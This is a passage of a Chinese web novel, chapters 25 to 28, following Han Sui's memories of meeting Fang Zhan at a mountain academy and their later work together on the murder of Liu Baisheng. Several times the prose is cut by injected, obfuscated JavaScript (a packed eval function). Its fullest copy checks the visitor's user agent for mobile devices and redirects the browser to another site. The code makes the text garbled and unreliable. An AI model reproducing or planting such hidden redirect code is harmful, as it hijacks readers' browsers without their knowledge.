“薛阁老为圣上保下韩程兄这等死谏之士,也算是其致仕前的一桩功绩。不过——”方湛话锋一转,先前温和的目光倏然锐利,“像韩程兄如此青年才俊,恐怕不止薛阁老爱惜,听闻孙、李两位大人已有争抢之意。” 话落,韩立煜骤然一身冷汗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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书上的字她是一个都未看进去,神思早已不可受控地飞向三年前那段被自己刻意封砌的过去。 那是成乾十年,刚为祖父守孝结束的韩穗跟随外任的父亲来到泰州,也与因南下求学而与她分别数年的哥哥再次团聚。 然而多年不见并未改变兄妹间的传统,俩人见面就掐。再加上韩程总以兄长身份管束妹妹,而韩穗又天生对他不服,这对活宝一天到晚掐架,惹得父亲好不心烦。 韩立煜为了让这二人消停些,更是为了长子当年的秋闱大考,便找到故交淮山先生,给韩程取得入一得书院的机会。 此事被韩穗知晓后,又是一通叫嚷不公平。她自小与哥哥一样开蒙,只因他是男子,就能离家求学,就可拜名师入书院。 可这一点,又偏偏是她无论如何也改变不了的。 对此韩穗越想越气,等到韩程背起行囊上紫金山那日,她女扮男装,偷偷尾随在后,图谋以书童身份混入书院。 按照她的计划,只要进了书院,大门一关,韩程再发现她也无计可施,为了面子,只能替她隐瞒。不曾想,韩程半路就识破了她的踪迹,默不作声,等一行人顺利到达书院后,瞅了个无人的时机直接揪住韩穗,将她扭送到淮山先生面前。 计谋不成,反而要被遣返回家。 但命运总会在意想不到的时候因为人的某种所学所长神来一笔。 彼时韩穗早已继承祖父授与她的揭裱技艺,在等待家中来人接她的期间,自告奋勇为淮山先生挖补成功一处写错的题字,由此得到了先生的另眼相待。 先生见她不全似顽劣之辈,便多问了几句。韩穗将自己想给韩程添堵的部分隐去不提,只提如何仰慕一得书院,却因女子身份求学无门。 待父亲漏夜赶至书院,又与先生在屋内交谈良久,也不知他二人是如何商量的,总之再出来时,韩穗便被留在了书院。 “私自离家徒惹父亲忧心,此为不孝,试图陷兄长于难堪是为不义,为父有心给你些教训,但淮山先生念你一心向学,只作小惩大诫。” 韩立煜看着垂首跪着的女儿,语气稍微软:“一得书院后园有座无名藏书阁,接下来的三个月,你就负责藏书阁的洒扫和整理工作,至于功课,淮山先生会每五日单独为你授课一个时辰,直到学期结束,就与你兄长一同下山归家。” 第二日,韩立煜独自下山。而韩穗则以一名杂役的身份留在了书院。 既是杂役,吃住便与做事的嬷嬷们一起。每日鸡叫了就起,将藏书阁从下往上整整五层擦洗一遍,随后开始分门别类地给藏书登记入册。遇到天好,还要将书分批抱出去晾晒,若有缺损的,还得发挥自己的专长修补完好。 做这些事着实费些气力,韩穗却不觉得苦,甚至乐在其中。至于淮山先生的课,虽讲的是经国济世、为人君臣的大道理,但其旁征博引、深入浅出的讲法,倒也不算枯燥乏味。再加上哥哥韩程还算有良心,时不时帮她写写小策论,更解了作业之愁。 倘使那个人未曾出现,三个月的日子或许就这样充实又怡然地过去了。 而她年少之时做下的后悔之事也能少却一桩。 25. 若如初见 成乾十年。 紫金山上的春似乎比别处来得迟一些。山下花事已开到茶蘼,山上芳菲才尽然始放。 站在藏书阁的高处放眼望去,只见漫山桃李争妍,遍野锦绣纷叠,有风拂面,花香暗袭。 可花香再浓郁欲染,裹挟着它的春风也依旧是有几丝料峭微寒的。 韩穗坐在窗边,春倦之意早已被眼前少年郎的举动吓得毫无踪迹,直到对方出声道歉,这才惊觉颈后出了一层薄汗,被凉风一吹没忍住瑟缩了一下。 再说那少年,原本是存了促狭之心吓唬吓唬这偷懒的小役,没成想这小役竟长了一张嫣然婉丽的面孔,再联想她方才那句“先生来了”的声线,心中顿时明了,这分明就是位女子! 而他方才竟贴在她耳边说话! 骨子里的礼教让他下意识移目拱揖,为自己的失礼致歉。 韩穗却不明白他这突如其来的道歉是几个意思,方才她四处找不见先生身影时就明白了这人在捉弄自己,可他笑都笑过了,现在又对着自己彬彬然道歉施礼,当真是个怪人! 藏书阁平日只有她与看门的一位老仆牛叔,从没别人来过。而她颇为珍惜这个留在书院的机会,日常除了老师、兄长以及同住的两个嬷嬷,从不与人多打交道,为的就是防止被人发现自己是女扮男装,惹出麻烦。 于是乎她决定立刻闪人,不想跟眼前这个怪人多纠缠,迈步欲下楼离去。 “等等。” 韩穗回首,只见那少年从方才她坐的长椅上捡起一本书,又弯腰从地上拾起鸡毛掸子,一并递还给她,顺便问道:“这藏书阁已经锁了许多年了,怎的忽然开了?你又是谁,新来的?” 韩穗接过两样东西,快速瞥了他一眼,见这人外形俊朗气质清贵,却一身布衣打扮,一时摸不准他是何身份。又想到言多必失,便点点头,言简意赅答道:“我是新来的杂役,先生命我来打扫书阁,我现在得干活去了。” 说完她就快步迈下楼梯,走到一半,忽然想起先生将书阁交给自己,她有责任过问任何出现在此的陌生人。 于是她又往回上了几步楼梯,故意压粗声线,冲那个倚在楼梯栏杆上的瘦高背影发问:“你是谁?来藏书阁做什么?” 少年闻声回身,俯视着楼梯上的韩穗笑道:“我也是书院的杂役,专责下山跑腿办事的,偶然路过藏书阁,发现这儿开着大门,便上来随意看看。” 他本还顾忌对方是个姑娘,不好逾矩,此刻见她扶梯仰面,一双凤眼毫不避讳地直视着自己,眼神清澈干净中透着质疑警惕,像极了山中偶然遇见的兔子。 鬼使神差地,他开口:“要不,咱俩交个朋友如何?” 韩穗根本不搭理这茬,义正言辞高声道:“我劝你立刻离开,先生有令,书阁藏书未全部清点入册之前不许任何无关人员进来。” 语罢一个回身,她就飞速下了楼。 少年看着那消失在楼梯尽头的身影,虽碰了一鼻子灰,心情却异常明快起来。 他走到窗前凭栏远眺,忽觉原本灰蒙蒙的紫金山不知何时多了些春的艳色,许是天高云渺的景色让人舒缓,这些年积压在心底的郁气竟有瞬息的释放。 过得一会儿,身后传来上楼的脚步声,他以为是那小役回来了,转身却见上来的人是牛叔。 牛叔是伴随先生多年的老仆,学问深厚,他向来以礼尊之。将才就是因为看到牛叔在大开的书阁门口坐着打盹,一时好奇才上楼的。 “我说少爷,”牛叔年纪大了,一口气上到三楼难免呼哧带喘,“你这又是在搞什么花招,为何对那新来的说你是跑腿的杂役?” 少年扶他坐到长椅上,自己大喇喇往窗边一趴,双手交叉垫住下巴,望起了窗外景色:“牛叔没拆穿我?” “哼”,牛叔冷笑,“懒得拆穿你了,不过那小……小子认真得很,她让我上来赶你快走,怕你偷书呢。” “她怎么不来亲自赶我?” “人家说你古怪又难缠,连书阁都不肯待了,回去吃饭了。” “古怪又难缠?”少年重复着这两个不算好的词,忍不住轻笑出声,连带着牛叔也笑着摇头。 多年后方湛想起二人初见时韩穗给他的评价,不得不佩服她的洞察力,不管是那时的先生、书院其他人,还是后来入朝后的同僚及对手,在他们眼里,自己不就是令人头疼的古怪难缠之人么? 对韩穗而言,那少年并未引起她多一点的注意力。第二日就是她上课的日子了,按照约定这天下午她不必去书阁做事,留在住处专心写淮山先生留给她的功课即可。 上完课的翌日,她与往常一样,一早背起小挎包,踏着山间清晨的露水,来到藏书阁。 牛叔早就到了,正坐在门口改进他那钓鱼竿。韩穗打了招呼,直奔前日还未打扫完的三楼,撸起袖子大干起来。 这些时日,韩穗在清扫书阁的同时也大体过了一遍阁内藏书,惊喜地发现竟有《吴江书画志》一书。 此书祖父曾提起过,详细记载了扬州汤家修复古书画的绝技,还有识别真迹的独门心得,只可惜汤家没落后此书下落不明,祖父为此还颇为遗憾。没想到被她在此遇上了! 她先用一个时辰将余下两层楼的书架擦洗干净,等不及休息,便净了手将那书从书架上取下,小心翼翼摊开在窗下长椅上拜读起来。读到重要的地方,她从挎包内取出自制的小册子和便携笔墨,直接蹲在长椅旁埋头做起了手记。 清风徐徐,山鸟啁啾,在此读书佳境中,韩穗心无旁骛,沉浸其中,全然不知身后已站了一人。 “为何不去一楼的书案上写?” 正记得忘我的韩穗被这冷不丁的一声吓一跳,手下笔尖直接写呲出去一划。 她抬头一看,好死不死,又是那日的少年!这家伙走路都不出声的吗? 韩穗慌忙将手中册子合上,准备收拾东西跑路。身旁少年出声提醒:“哎,你刚写上的字墨还未干就合上了?” 听此她又赶紧打开册子上下扇动起来。 少年趁机瞄到长椅上书的封皮,那书名颇为小众,想来是讲书画的。再看面前“小役”手中的册子,做成了巴掌大小,封皮用的是深粉色团花纹绫,反衬得持册人一双手玉白纤纤。 那日初见,他就一眼认出这位新来的杂役其实是个女孩子,今日如此近距离再看,只见她皮肤匀净莹白,因为着急窘迫而两颊微红,饱满的唇瓣紧抿,秀挺的鼻尖之上一双凤目轻灵,不觉心中微动。 原本对她的五分好奇,倏尔涨到十分,他有心逗,“啧了一声”:“我看你处处透露着奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩穗抬眼看着有意捉弄自己的少年,心里默默又给他加了两个标签——无聊,幼稚。 她不欲做对方逗乐解闷的对象,看着那本被高举的书,皮笑肉不笑道:“劳烦帮我把书放回原处,就在西侧数第十六排书架倒数第三层左侧。”说完就捏着册页旋风般离去,堵住双耳,任凭那少年在身后如何追喊。 外头春风已多了些暖意,鸟鸣也是欢愉的调子。正对着一片野草空甩鱼竿的牛叔,又接到了驱赶书阁内不速之客的命令。 等韩穗气鼓鼓地跑回住处,满面绯红、头冒热气地坐在榻上平复心跳时,这才意识到自己只顾着吵架,笔记册页倒是带回来了,而她的挎包却落在藏书阁的窗椅上! 挎包里的东西不值钱,但有一沓自己随意涂画的画稿,画的皆是诸如先生训人、嬷嬷浇菜、野猫瞌睡之类的,本就是打发时间玩的,这若是被那厮看去了,还不得把他笑死! 最要命的是,那挎包是宋妈专门给她缝制的,蓝底织绿兰纹,内里小插袋处绣了她的乳名“粲”字。 她想立刻起身折返回去取包,但又怕那厮正在原地“守株待兔”,一时两下为难。 恰在此时,先生派人找她去旁听论辩,她只好暂且丢下此事前去。等论辩结束后再去藏书阁,人与包俱已不见。 26. 她已和离 “姑娘,姑娘,御史大人走了!”先秀一路小跑,掀帘而入,不由分说地带进一阵寒气,将韩穗飘向苏暖春日的思绪倏然拉回。 “走了就走了呗。”她若无其事地搁下手中一页未翻的书,问道:“可弄清楚了,他来找父亲作甚?” 先秀道:“将才我在廊下遇着秦风大哥了,他说方大人是受淮山先生所托,特来取画的。” “取什么画?”韩穗一怔,“可是老师先前托父亲题跋的那副?” 先秀点头。 “父亲给他了?” 先秀继续点头。 “怪了,”韩穗喃喃自语,“难道之前老师来信说自会有人来把画取走,那个人说的就是他?” “除了这个,他还跟父亲说什么没有?”她紧张地又问,心里多少害怕此人会在父亲面前告她掺和刘百盛命案的黑状。 先秀却摇头:“我还没来得及问呢,秦大哥说老爷是外出办事路过,偷空回家换衣裳的,一味着急走,此刻己跟老爷出门了。” 韩穗一时无话,只觉父亲太可怜了,原本再有十日就可正式卸任回京过团圆年,也不知是得罪了哪路神仙,云州的麻烦事一桩接一桩,绊住她父女二人的归途不说,眼下竟隐有越陷越深的可怕趋势。 “不管怎么说,方大人应是没把咱们偷入刘宅的事捅出去,否则老爷早就冲过来找姑娘问罪了,”先秀庆幸道,“这么看,方大人还是讲义气的。” “一个四品高官跟咱们讲义气?你还感谢上他了?”韩穗简直恨铁不成钢,“我看他是不知葫芦里卖的什么药!” 先秀不好意思地鼓了鼓嘴:“反正人都走了,姑娘还要不要接着去前面暖阁揭裱画了?” “不了,”韩穗果断道,“刚才我又仔细想了想,还是莫要轻举妄动为好。那画已历经百年,很是脆弱,看样子不久前还被人揭裱过,若我贸然再折腾它一次,搞不好会毁了它。再者,品兰当时没说清楚的地方太多,我想再见她一面问个明白。” “晓得了,那我这就去找通山,让他去府衙打探情况,好安排姑娘见一面品兰姑娘。” 先秀走后,韩穗又从桌上拾起那本书,眼睛却盯着几道透过窗格笔直而入的光柱走开了神。 少时祖父与母亲的相继离世,使得她生出一种只管往前走、从不回头看的性子,偶尔回忆过往,也不过以旁观者的角度凝视。 只是这次再忆当年在紫金山上的少年,眼前突然多了一层迷雾。 那时他说自己的父母因走私而获罪身死,小小年纪就流落街头,被牛叔收留后才在书院安顿做了杂役。 一个后院杂役,鲜少有机会面见先生,怎么就得了先生信任替其取画? 韩穗不由用手心猛拍脑门,总觉得她错过了其中一些什么重要环节。 —— 当天傍晚,韩立煜早早下值归家。 自从御史入城,这日居然是父女二人头一次坐在一起用晚饭。 食不言寝不语,父女俩各有心事地吃过饭,又移步至韩立煜书房内煮茶消食。 刚喝过第一道茶,韩穗还在琢磨这几日发生的事该从哪件说起,就听父亲忽然开口问道:“阿粲,我记得前些日你问我方湛此人的名讳,可是因为当年在一得书院时见过他?” 韩穗好悬一口茶没直接喷到父亲脸上,咕咚咽下,垂眸心虚道:“没、没见过。” “那你知不知道你老师有个侄子,一直待在紫金山上?” 这次她是当真不知了,连连摇头:“未曾听说。” 韩立煜唏嘘道:“今日方大人来访,示出淮山先生的手书,我这才知道,他竟是先生的亲侄。” “什么?”韩穗怀疑自己的耳朵听错了。 “当时我与你一样震惊,但涉及个人私事,不好多问。他只说父母早逝,自小被先生带到紫金山上抚养长大,我猜他父亲应该就是淮山先生英年早逝的哥哥。” 韩立煜未留意到女儿难看至极的脸色,继续感慨:“方家这一代人丁凋零,而淮山先生又终身不娶,原以为方家就此要没落了,没想到后辈中还有如此才俊,你们老师的韬略伟才也算是后继有人了。” 他饮下一盏茶,笑道:“此前我还在猜,此子不过廿岁出头就能官居四品实职,背后究竟是什么靠山,今日算是明了了,他叔父乃是与圣上情分至深的桂亲王,圣上如何会不信任他、重用他!” 父亲的话,韩穗恍若未闻,从方才到现在,她懵怔的脑子里只有一个念头——他骗了她。 当年他给自己的身份,只有无父无母是真的,可实情却与他所说的身世浮萍、孤苦无依相差十万八千里。 他可是勋贵之后、世家子弟,而她居然曾经心疼他、欣赏他,甚至扬言要拐走他当倒插门女婿! 更傻的是,明明已经被对方耍得团团转,却还因为嫁入白家自觉背叛他而理亏内疚了多年! 韩穗不敢再细想下去,猛地搁下茶盏:“父亲,我们到底什么时候回京?” 正说着别人呢,韩立煜被这突兀一问搞得摸不着头脑,但还是如实答道:“何时回京还真不好说,现在的云州府衙已不是黄知府说了算了,他早先是与我说定了回京日子,可如今巡按御史在,此事还得御史大人点头,我才能正式卸任走人。” 说完,他稍微一琢磨,自以为洞悉女儿所思所想,贴心道:“知道你记挂品兰那丫头,你是害怕太早离开云州,没法关照她了不是?放心吧,郭家父女于你有救命之恩,此恩为父与你一样想报。” “官府那边我会好好盯着,定不叫品兰受苦。至于她离门一事,我已跟方大人打过招呼了,他的意思是,刘老太串通娘家人残害儿媳证据确凿,依律品兰可以离门,但在此之前还需先查清刘百盛的命案,证明品兰未参与其中才行。” 韩穗不可思议:“品兰柔弱至此,居然还能引起他怀疑?” “莫要急躁,”韩立煜安抚道,“方大人也是为了大局考虑,他可是你老师教养长大的,人品还能信不过?” 韩穗僵硬地扯了扯嘴角,暗自腹诽,好竹出歹笋的可能性不是没有。 “总之你就放宽心,”韩立煜保证道,“郭家的难题必得解决,在此之前,为父绝不会强迫你回京。” —— 是夜月色清明。 莫云斋老板许春年和几个伙计总算结束了年底盘账,几人收拾了笔墨账册,准备上好门板,各自回家歇息去。 忽然,从空无一人的街头远处,渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这……”许春年挑亮了灯芯,举起水晶镜,对着画又研究了半晌,最后无奈摇头:“实在有愧,许某虽说大半生都与书画打交道,然而白川之作乃上上品,我等小商户对其知之甚少,见识不足,不敢贸然判断啊!” 眼看方湛神色黯淡下去,他突然想起一人来:“不过云州有一人应能帮你解答此难题。” “快请讲。” “正是云州府通判韩大人的千金韩穗。” “她?”方湛迫切的神色立时僵住,不知为何,一提到韩穗,他首先想到的,居然是那枚在书院时送她作生辰礼、几年后却被她随手赔抵出去的玉佩,以及昨日在马车中,她与他之间刻意划清的那道看不见的界限。 他隐有不悦。 许春年只以为他是信不过韩穗,连连打包票:“韩小姐的祖父韩归乃翰林画院第一任总画直,别看她是女子,却是韩家唯一继承韩画直衣钵的后辈,且自小出入皇家画院,自是比许某见识更广。” 见方湛仍不作声,许春年又道:“最近一年,韩小姐时常从莫云斋接一些揭裱委托,因而我与她多有接触,深觉她的书画见解并非徒有虚名,大人不妨找她一试。” “哦?”方湛却从中听到了别的意思,“她为何会从你这儿接揭裱委托?” 许春年一下子被问住了,猜测道:“后院女子无甚收入,大约是为了攒钱吧。” 方湛单眉微挑:“钱?韩大人的千金不是嫁入定州白家了么,乡绅大族家的少奶奶,还需要出来做事赚钱?” “大人说的那都是早年间的事了,韩小姐如今可不是白家少奶奶了。” “什么意思?”方湛心头一震。 许春年重重叹了口气:“说起来可怜可叹啊,韩小姐遇人不淑,一年前就与那位白家的公子和离,恩断义绝了!” 27. 刘百盛之死(一) 翌日晴好,无风无雪。 长尾喜鹊在枝头咔哒哒直叫,神似宫宴上工匠操纵木鸢时齿轮机关发出的声响。 方湛神清气爽地迈出馆舍卧房时,冼牧川正在树下仰头冲那几只喜鹊叫嚣。 他斜披外衣,脚上趿鞋,发型凌乱,眼底黑青,一身的气急败坏。 方湛笑道:“云莱兄今日起得可真够早的。” 冼牧川回首,瞧见方湛那副神采奕奕的模样,更是气不打一处来。 前日晚间他叫了几个本地唱曲儿姑娘去醉云天一同吃酒,酒酣兴至,正跟姑娘们一起吹拉弹唱得起劲,却被这小子的书童不由分说地拉走离席,说是案情有重大变化,方湛要他速速到场。 匆匆赶至府衙才知,原是死了个人。晦气不晦气就不论了,方某人还非得拉着他一同审人排查,一直忙到后半夜才算告一段落。 本想回醉云天的天字号房长睡大觉,姓方的又说一来一回浪费时间,让他直接歇在府衙馆舍中。 这一待就是两天。 虽说馆舍的床寒酸冷硬,架不住实在困,冼牧川躺下就着,只是梦还没做完整一个,就被窗外树上的喜鹊给吵扰醒了。 其实喜鹊又有何罪呢,他的痛苦归根结底还不是拜眼前这位优哉游哉的方大人所赐! “你少来,”冼牧川发癫似的指着方湛质问道,“你敢说那两只喜鹊不是你安排在这儿故意吵我的?” 不等方湛开口,他又跺着脚放赖:“我就知道!你跟我爹他们都是一伙的,你们的目的就是要我不好过!你们这些人,自己努力就罢了,偏偏还看不惯我躺平过好日子,一个个打着为了我好的名堂折磨我!” 小厮昌乐在旁拉不住人,暗自着急,生怕他家主子再说出些什么惊天胡话,得罪了那位传说中铁腕无情的爷。 偏巧方湛这日心情不错,一脸关切地问向昌乐:“你家七爷一向如此睡不好就发神经?” 昌乐扑通跪下:“回大人,公子他……” “方湛!别以为我听不出来你在讽刺我!” 冼牧川还想跳起脚开骂,刧被方湛高声截断:“知道被人讽刺,还不好好收拾出个人样,今日还有诸多要务处置,不如省省力气,早些去花厅用饭。” 说罢,他勾了勾唇角,悠然提步离去。 “不对劲,”冼牧川望着方湛的背影,对昌乐道,“很不对劲,你看到没有,他刚才一直在笑?” 昌乐疯狂点头。他在京时没少听说方大人做事是何等狠绝,几次跟着公子赴宴见到他也是一派严肃凝重,两相一对比,今日这平易近人的笑就显得有些渗人。 他哭丧起脸:“公子,您以后有什么气尽管冲小的发就是了,何苦惹方大人呢,万一他在圣上面前参您一本,或者暗地里使点儿什么……” “别瞎说,他才不会,”冼牧川甩了甩袖子,朝屋内走去,“不过我总觉得他不太对劲,赶紧服侍我穿戴,待我前去探上一探。” 然而纵使冼牧川有心快些,但他盥洗装束的讲究程度,还是拖了后腿。 待他火速赶去州府特意为几位京官辟出的用饭花厅,哪里还有方湛的身影,独见书童斐然收拾完残羹碗碟,正往外走。 “姓方的人呢?”冼牧川呼哧带喘地问。 斐然答曰:“公子已乘马车出衙,少监大人可是有急事?” 冼牧川扶着门框摆了摆手,又问:“他去哪儿了?” 斐然摇头:“公子没说,只说要去‘守株待兔’。” “守株待兔?” —— 距离府衙不远的一处隐蔽街角,韩穗与先秀正尽量让自己身置日光中,好在滴水成冰的清晨勉强吸收点温暖。 先秀搓着韩穗的双手,抱怨道:“这个通山,怎么去了这么久还不回来,想冻坏姑娘么!早知道就叫老爷直接带咱们进衙呢,这会儿估计早就见上品兰姑娘了。” “早该知道的事儿多了去了……”韩穗刚开口训了一句,就见通山出现在胡同口,朝她们疾步奔来。 近前,他顾不上喘匀气息,立时禀道:“姑娘,妥了,小的亲眼看到方大人乘马车出了府衙,这会儿应该走远了,咱们现在进府衙指定碰不到他。” “好,那赶紧走。”韩穗下令,三人一齐往州府的方向快步走去。 刚走出一条街,拐进一条可抄近道的胡同,他们就被停在路中间的一辆黑漆平顶马车挡住了去路。 驾车者瞧见来人,从车辕上一跃而下,上前行礼:“我家大人在此恭候已久,还请韩小姐上车一叙。” 韩穗见他身着百褶玄袍、腰佩锦带、手握宽刀,当即猜出其玄英卫身份,而在云州行走能有玄英卫护送者…… 她瞟一眼不远处紧闭的车门,心头倏地掠过一丝不样预感。 她尴尬一笑:“不了,我还有事,改日再聊。” 说完,她果断回身,殊不知身后路口早有两名玄英卫并排把守。 看来今日是逃不掉了。 不过也没什么大不了,躲不过的事就硬着头皮上。也好,当年他在书院谎报身份、愚弄自己的那笔帐,今日也可一并对质。 念此,韩穗忽然挺直腰杆,气定神闲地转过身,朝马车步步走去。 上车后,她挑了个离车内人最远的位置坐定,目不斜视,毫不客气地开口:“方大人可别告诉我这是偶遇。” 方湛冷笑一声:“那你得回去告诉你家小厮,下次再打听本官的行踪,还得千万再小心一些、再多动动脑子。” 韩穗不欲与之多费口舌:“那请问,日理万机的御史大人、显赫尊贵的亲王府世子,如此煞费苦心地找我这种闲杂之辈,到底有何贵干?” 此话中的阴阳怪气,方湛如何听不明白,定是昨日透露给韩立煜的身份被她知晓了,她觉得自己被骗,心里有气。 “你父亲倒是什么都肯跟你说。” “怎么,难不成大人以为,这世上会有永不被拆穿的谎言?” 她眸光正正地投向隐于暗影中的青年,心想我倒看你如何解释。 然而方湛毫无解释之意,躲开她的视线,避重就轻道:“说起来,你我也算同出一个师门,分别多年于异乡再见,不该是如此剑拔弩张的关系吧?” 这种废话韩穗一句也不想接,她沉默应之。 方湛见她如此也不再兜圈子,正色道:“本官在此等候,是看在你我同窗一场的份上,特意向你告知刘百盛命案的进展。” 果然又扯到刘百盛的案子,韩穗不由腹诽,恐怕说案只是引子,要她交出从刘家取走之物才是真正目的。 她才不要上套:“官府查案内情,我一介草民无须、也不便知晓。” 更何况,若她真想了解案情,大可回家问父亲去。 至此韩穗已无耐心,撂下话作势就走。 身后人骤然提声:“查案至此,本官需要韩姑娘一次举手之劳。” 不等要走之人作出反应,他继续道:“韩姑娘三思,此案破得越快,你那个姐妹郭品兰就能越早一刻重获自由,还有郭家被刘百盛陷害查封的古宝阁,就能越早重新开张。” 诱惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872479|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太大。 即便清楚自己被人拿捏了七寸,韩穗也毫不犹豫地坐了回去:“大人请讲案情,民女洗耳恭听。” 方湛对她的配合程度甚是满意:“那就先从刘家车夫讲起。” “前日众人从刘家撤走后,我特意命人围守住刘宅,当晚,就有刘家车夫收拾了细软,试图翻墙逃走,被官差当场擒拿,扭送下狱。” “我已审过此人,据他交代,刘百盛出事那晚乃应友人邀请,到一家北外城的酒肆,赏看对方新得的一幅名画。大概二更时分,刘百盛从酒肆中独自出来,虽有醉状,但尚且清醒,上了马车就要回家。谁知车行至百子坡时,车轮忽然松动,几欲脱落,车身歪斜,导致马匹受惊,车夫与刘百盛只得下车。” “百子坡的位置前不着村后不着店,车夫良久未能将车修好,马儿受惊后又原地不动,如此二人在原地滞留了将近半个时辰,刘百盛便急了,那晚恰又赶上风暴雪,他不愿站在雪中挨冻,便抛下车夫与马,执意自己走回家去。” “那车夫说,刘百盛走后,他又费了好些工夫才将马儿安抚住,解开栓套弃车离开。因风雪大,路不好走,回去已是后半夜,他不敢打扰主子,是故也不知刘百盛这夜并未走回家。” “事情到此为止,都还算正常,”方湛顿了顿道,“反常的是,第二日刘老太发现儿子一夜未归,便派人四处去找,这车夫却闭口不提前一夜发生的事,也不跟着去找人,兀自牵马,带上工具,到百子坡将车修好套马赶了回来,做完这些后,才去向刘老太报说。但那时刘百盛尸体早已被发现,他提供的消息已毫无意义。” 听到这儿,韩穗已渐渐入神,凭着直觉道:“这个车夫有问题。” 方湛点头:“问题不小,昨日我派人去检查刘家那辆马车,发现车轴断裂处有被人切割过的痕迹。” 韩穗倒吸一口冷气:“那马车八成就是车夫搞得鬼!他故意弄坏马车,创造刘百盛醉酒后雪夜独行的条件,就是算准了他会醉倒在路边被冻死。那你们对那车夫上刑审问了么?他为何要这样做?有没有人指使?” 对于疑点重重的车夫,官府自然是连夜往狠里审,审出的情况与韩穗所料一致,确实另有其人花了三十两银子买通车夫做出那些事。车夫哭得一把鼻涕一把泪,称那人叫他如此做,只是因为记恨刘百盛,想让他遭些罪,不曾想姓刘的会因此丧命。 方湛把这些告诉韩穗后,后者略一沉思,问道:“那日仵作验尸怎么说?” “问得好,”方湛看她的眼神多了些欣赏,“仵作验尸后发现,刘百盛尸体虽呈冻僵状,但死因却是中毒。我们怀疑,真正取他性命的,很可能是酒肆里的那顿饭,而刘家车夫不过是被人利用的一环而已。” 韩穗边想边念念有词:“车夫或许没有杀心,但刘百盛的性命,却真有人想要。而此人,会不会就是那个约刘百盛出来看画的人啊?” “完全有可能。” “那不就结了,赶紧去抓人就是了,大人与我说这一大通,该不会是想让我一弱质女子帮忙抓人吧?”韩穗浑问道。 方湛瞥了她一眼:“首先,你可不是什么弱女子,一指宽的伤口几日就能结痂愈合,爬墙翻窗不在话下,本官钦佩得很。其次,官府要抓人,也得先把人找到才行。” 实则官府早已开始排查那晚约刘百盛看画吃酒之人,可奇怪的是,他身边人对此皆不知晓,而酒肆店家对那人的印象也只有一个大概,且与车夫所述买通他制造马车意外的人物特征全然不一致。 案件进展到此处,似入了死胡同。 28. 刘百盛之死(二) “听大人的意思,是想要我帮忙找人?” 方湛不置可否,从身侧座上拿起一木匣,递交给她,并示意其打开。 韩穗开匣,从中取出一柄手卷,不禁疑惑出声:“画?” 青年点头,解释道:“此画是在刘百盛尸体附近找到,我已拿给刘家车夫辨认过,他因这手卷比寻常画轴短得多而印象深刻,确认是刘百盛那晚走出酒肆时手中所持。我怀疑,当晚死者与吃酒友人赏的就是这幅画,不知出于何种原因,最终画转到了他手上。” “如此说,这画倒成了一条重要线索。”韩穗若有所思。 她环视一周,对方湛指挥道:“你起来,坐那边去。这是手卷,需搁在平整之处推展赏看。” 方湛闻言乖乖挪开,将车窗下的长座空出来。 韩穗搁画,半跪在座前,徐徐展卷。 “坐朝繁听览,寻胜在清幽。”她轻声念出引首,心中已是微动,待随后览全整个画面,更是心神怔怔。 “怎么……” 怎么最近像捅了白川的窝,他的画接二连三地全都涌到自己跟前来了! 但一想到身旁还有只狐狸似的家伙在盯着自己,韩穗急急改口,语气平静道:“这是南朝画师白川所作的《沂溪草堂述雅图》之一,名日‘寻幽’。” 方湛颔首:“不瞒你说,近一年内阁首辅薛大人托人在两京、江浙寻找白川画作,却一无所获,不想它会出现在西北之地云州。不免引人怀疑,此画到底是否为真迹。” 眼前女子却不作声,起身将面前车窗打开。觉得光线不足,又霍地回身伸手,紧擦着方湛脸侧,将其身后的车窗一把推开。 “这样亮度方好。” 韩穗利索半跪回去,借着天光细细察看起面前画作,浑然不知适才她无意间的举动,已让端坐在旁的方大人,隐隐耳根红热。 明明知道她那突如其来的贴近毫无多余意义,可方湛还是清晰记住了方才衣袖擦耳而过的窸窣微响,以及那缕来自她衣襟上的清幽之香。 他目光凝落而下。 曦光笼在她的玲珑侧颜上,额边的绒发、卷翘的长睫都披上一层暖黄光晕。而方才还冷硬待他的面容,此刻因专注着审画,放松柔和,毫不设防,仿佛一只暖阳中的猫咪,叫人莫名生出一股伸手抚摸的冲动。 然而“猫咪”突然扬头,看向窗外,把青年脑海中那个离奇念头悄然打断。 韩穗正对着窗外不知谁家的光秃院墙努力回忆,试图在脑中翻找出有关白川画作的全部记忆。 《沂溪草堂述雅图》完整的四副画,她曾见过两次。 第一次还是在遥远的年幼时期,那时祖父尚还健在,姨母一家仍住在与韩家一街之隔的柒棠胡同。 幼年韩穗钻进祖父怀里,冒出一颗毛茸茸的小脑袋,瞧见桌上摆着一本薄薄的册页,尺寸比她在自家书房常见的都要宽大些。 她以为这本册页也是画的各种花鸟虫鱼,便伸出小手想要打开,却被祖父一把攥住。 瘦得仙风道骨的姨父笑吟吟过来,将自己抱起,好让祖父心无旁骛地细细翻看。 她也扭着矮罐罐似的小身躯,关切地去看,却失望地发现,折页里的画并没有能引起她兴趣的花草或小动物,只有零丁人影和一片毫不热闹的山水。 